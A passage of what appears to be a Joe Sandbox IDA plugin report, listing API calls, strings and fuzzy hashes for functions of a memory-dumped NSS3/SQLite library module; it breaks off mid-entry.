$, xrefs: 6D0A12A0
'%.*q', xrefs: 6D0A1217, 6D0A1292
zeroblob(%d), xrefs: 6D0A1223

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 37f2b52d1a0eaa8ca9db5f005ba23d69982a07807afb762728dd540646b08da7
Instruction ID: 3d0266e50933a9035be5f96e1d39b2816ef47575ad79836a7e5f13abac39826f
Opcode Fuzzy Hash: 37f2b52d1a0eaa8ca9db5f005ba23d69982a07807afb762728dd540646b08da7
Instruction Fuzzy Hash: 15E19A75A083419BE701CF98C880B6FBBF1BF89354F48882DE9958B252E771E845CB43

Function 6D0A8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D0A8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A9209

Strings

3333, xrefs: 6D0A925E
UUUU, xrefs: 6D0A9255

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 846255b529374de3592175cd8e2ba1a3fded84069f3d2ee4a057a3aac62a5456
Instruction ID: b5f292e9c1abb040dc3b485fd433b3b29541a0308955d093ff6119ca288a3c7a
Opcode Fuzzy Hash: 846255b529374de3592175cd8e2ba1a3fded84069f3d2ee4a057a3aac62a5456
Instruction Fuzzy Hash: CAA19076E002259FEB04CBA8DC80BAEB7B5BF48364F5A4129D915A7352D736AC41CB90

Function 6CF60FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CF6103E
EnterCriticalSection.KERNEL32(?), ref: 6CF61139
LeaveCriticalSection.KERNEL32(?), ref: 6CF61190
sqlite3_free.NSS3(00000000), ref: 6CF61227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CF6126E
sqlite3_free.NSS3(?), ref: 6CF6127F

Strings

winAccess, xrefs: 6CF6129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CF61267

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: f2bb6dcdc241f04b7034b65ae2f977833293c6f82a22867dcae48968b7c32207
Instruction ID: 3ff684f54f8fb9330e93d526d1500c9ebf0dbb226dc398bb9a86d284afecd0a5
Opcode Fuzzy Hash: f2bb6dcdc241f04b7034b65ae2f977833293c6f82a22867dcae48968b7c32207
Instruction Fuzzy Hash: AF711836705201ABEB148F76FD85BAB3379FB86314F158229E921C7E80DB71D941C792

Function 6CF6AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?), ref: 6CF6B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B090
sqlite3_free.NSS3(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B0A2
CloseHandle.KERNEL32(?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?,?,?), ref: 6CF6B100
sqlite3_free.NSS3(?,?,00000002,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?), ref: 6CF6B115
sqlite3_free.NSS3(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B12D

Part of subcall function 6CF59EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF6C6FD,?,?,?,?,6CFBF965,00000000), ref: 6CF59F0E
Part of subcall function 6CF59EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CFBF965,00000000), ref: 6CF59F5D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 0c8e6256aea5e4da43d6b2ff8bac4f8968c1b1ea0cec27957cb071e06bfeab15
Instruction ID: a39c251a808d981a9bf16069d3481db247d4f15918a710a41b879ff32afadf67
Opcode Fuzzy Hash: 0c8e6256aea5e4da43d6b2ff8bac4f8968c1b1ea0cec27957cb071e06bfeab15
Instruction Fuzzy Hash: 2F9122B1A042028FEB14CF76D884BABB7F1FF45308F154A2DE41697A50EB71E981CB51

Function 6D03BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D03BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D03BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D03BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D03BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6D03BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6D03BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6D03BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6D03BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6D03BE1E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 06d3e90b643ccc9976387aad7c63fc5eb47f7b53dac75b7131b58b6fd25e9756
Instruction ID: c41ad079f3812730fb9b640d42da0ea0b798a144dec9f73d8af26a615b42aafe
Opcode Fuzzy Hash: 06d3e90b643ccc9976387aad7c63fc5eb47f7b53dac75b7131b58b6fd25e9756
Instruction Fuzzy Hash: D921936AE0867F57FB004A5ADC42B6B32F49B9175DF070014EA1AEF141F761941487A6

Function 6D0E8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D1314E4,6D09CC70), ref: 6D0E8D47
PR_GetCurrentThread.NSS3 ref: 6D0E8D98

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6D0E8E7B
htons.WSOCK32(?), ref: 6D0E8EDB
PR_GetCurrentThread.NSS3 ref: 6D0E8F99
PR_GetCurrentThread.NSS3 ref: 6D0E910A

Strings

%u.%u.%u.%u, xrefs: 6D0E8E74

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 1278e3a017c6289d649f21813f87d3d9c57a5e036af3ea008fec2a5011cd43ad
Instruction ID: 8ed6ed0e857492cc068666c2565ee0be9b4c8b1a646dcb1b70b98d8505ad9ba5
Opcode Fuzzy Hash: 1278e3a017c6289d649f21813f87d3d9c57a5e036af3ea008fec2a5011cd43ad
Instruction Fuzzy Hash: 360278319042568FEB198F19C46877ABBE7EF8A380F49C29DD8919B3D1C335D985C790

Function 6CF6EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CF6FAC8
there is already an index named %s, xrefs: 6CF6F9D7
table, xrefs: 6CF6F05C, 6CF6FABC, 6CF6FAC7
temporary table name must be unqualified, xrefs: 6CF6F734
not authorized, xrefs: 6CF6F957, 6CF6F9BA
sqlite_temp_master, xrefs: 6CF6F0A6, 6CF6F2D5
authorizer malfunction, xrefs: 6CF6F95C, 6CF6F9BF, 6CF6FA5E, 6CF6FA8B
sqlite_master, xrefs: 6CF6F0AB, 6CF6F2DA, 6CF6F757, 6CF6F93E
view, xrefs: 6CF6F061, 6CF6F071, 6CF6FAB7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 5407e2aa2f88af0362a8ee2e40fc40acf6333d08c75798ea48cac362d5a2b237
Instruction ID: 07564400dbecb86b85c4a9607c03abfeb43af4aae6ee5075242710cb79c72ffd
Opcode Fuzzy Hash: 5407e2aa2f88af0362a8ee2e40fc40acf6333d08c75798ea48cac362d5a2b237
Instruction Fuzzy Hash: E572D270E042058FDB54CF2AC484BAABBF1FF49308F1581ADD815ABB52D776E846CB90

Function 6D089C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CF5C52B), ref: 6D089D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D08A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D08A114

Strings

database corruption, xrefs: 6D08A029, 6D08A108
%s at line %d of [%.10s], xrefs: 6D08A02E, 6D08A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D08A01F, 6D08A0E4, 6D08A0FE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 5f7ccc4b7014af53f0a8ab7a26d8433a19031aedbc0c6ae4b02ce26d60d40d63
Instruction ID: 77f85eaf78e70ca1471f924dddfc800820417d8d07e3713486e91177392a7d00
Opcode Fuzzy Hash: 5f7ccc4b7014af53f0a8ab7a26d8433a19031aedbc0c6ae4b02ce26d60d40d63
Instruction Fuzzy Hash: 7A22AE716483418FEB05CF29C490B2ABBE1BF8A344F50CA2DE99A97692D735D845CB42

Function 6D0A9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CF68637,?,?), ref: 6D0A9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CF68637), ref: 6D0A9ED6

Strings

database corruption, xrefs: 6D0A9ECA
%s at line %d of [%.10s], xrefs: 6D0A9ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A9EC0

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: b81336459c5d205208bc9a66af2909bb94413ead824808b14c7e5ca875954a97
Instruction ID: 837ce645230d3461a53096ae1d0bbf90a9a4fa19c40aeb7ead8b27373b3e017f
Opcode Fuzzy Hash: b81336459c5d205208bc9a66af2909bb94413ead824808b14c7e5ca875954a97
Instruction Fuzzy Hash: 0881B731B002169FEB04CFA9D880BEEB3F6FF48314B998129D915AB242D772DE45CB50

Function 6D0B7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6D0B81BC

Strings

BINARY, xrefs: 6D0B8126
out of memory, xrefs: 6D0B835B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: d325e9aa1dbbbcb35b32aaf3f41f0444915282651d36eaeb102e44948e37baea
Instruction ID: 0877d1a7d4b223057473e3bed8fb4c81dc82db8456dea3ea5cbdb6cc3ba7f21e
Opcode Fuzzy Hash: d325e9aa1dbbbcb35b32aaf3f41f0444915282651d36eaeb102e44948e37baea
Instruction Fuzzy Hash: 6B527E71E0821ADFEB14CF99C890BADBBF6FF48314F158069D855AB361D731A842CB90

Function 6D039EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D039ED6

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6D039EE4

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D039F38

Part of subcall function 6D03D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6D039F0B), ref: 6D03D03B
Part of subcall function 6D03D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6D03D04E
Part of subcall function 6D03D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6D03D07B
Part of subcall function 6D03D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6D03D08E
Part of subcall function 6D03D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D03D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D039F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6D039F59

Part of subcall function 6D039D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D039C5B), ref: 6D039D82
Part of subcall function 6D039D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D039C5B), ref: 6D039DA9
Part of subcall function 6D039D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D039C5B), ref: 6D039DCE
Part of subcall function 6D039D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D039C5B), ref: 6D039E43

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 37b1923d31a36ede805c293069cb3a6050bb06a6b57836cc5dfd886e663381da
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 991108B5F082235FF7108B76BC01B2B7394AF94388F174134EA098B240FF71E9118292

Function 6D0ECDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0ED086
PR_Malloc.NSS3(00000001), ref: 6D0ED0B9
PR_Free.NSS3(?), ref: 6D0ED138

Strings

>, xrefs: 6D0ECF5B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 7c102d9495ae79c2d99a4a44f61ef7fcf09638f8bcca18c93762944d2d92ae5d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: C7D14962B546470FFB15487D88A13EEBB93D7C23F0F984369D521CB3E5E51A88838365

Function 6D08AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8bb6e0bf51cddea2ac8ec33918f89f273bbfab459eb9b09919e1791f4956ff
Instruction ID: 2172791e8c52ace32fb299177e60907f6afb65bac2fc8433916f137b35b6c3b9
Opcode Fuzzy Hash: 6d8bb6e0bf51cddea2ac8ec33918f89f273bbfab459eb9b09919e1791f4956ff
Instruction Fuzzy Hash: 99F1FFB0E002568FEF14CFA8E9407BA77F1BB8A304F15412DC915DB355EBB19A92CB85

Function 6D07DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF55001,?,00000003,00000000), ref: 6D07DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CF55001,?), ref: 6D07E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CF55001,?), ref: 6D07E2DA

Strings

W, xrefs: 6D07E111

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
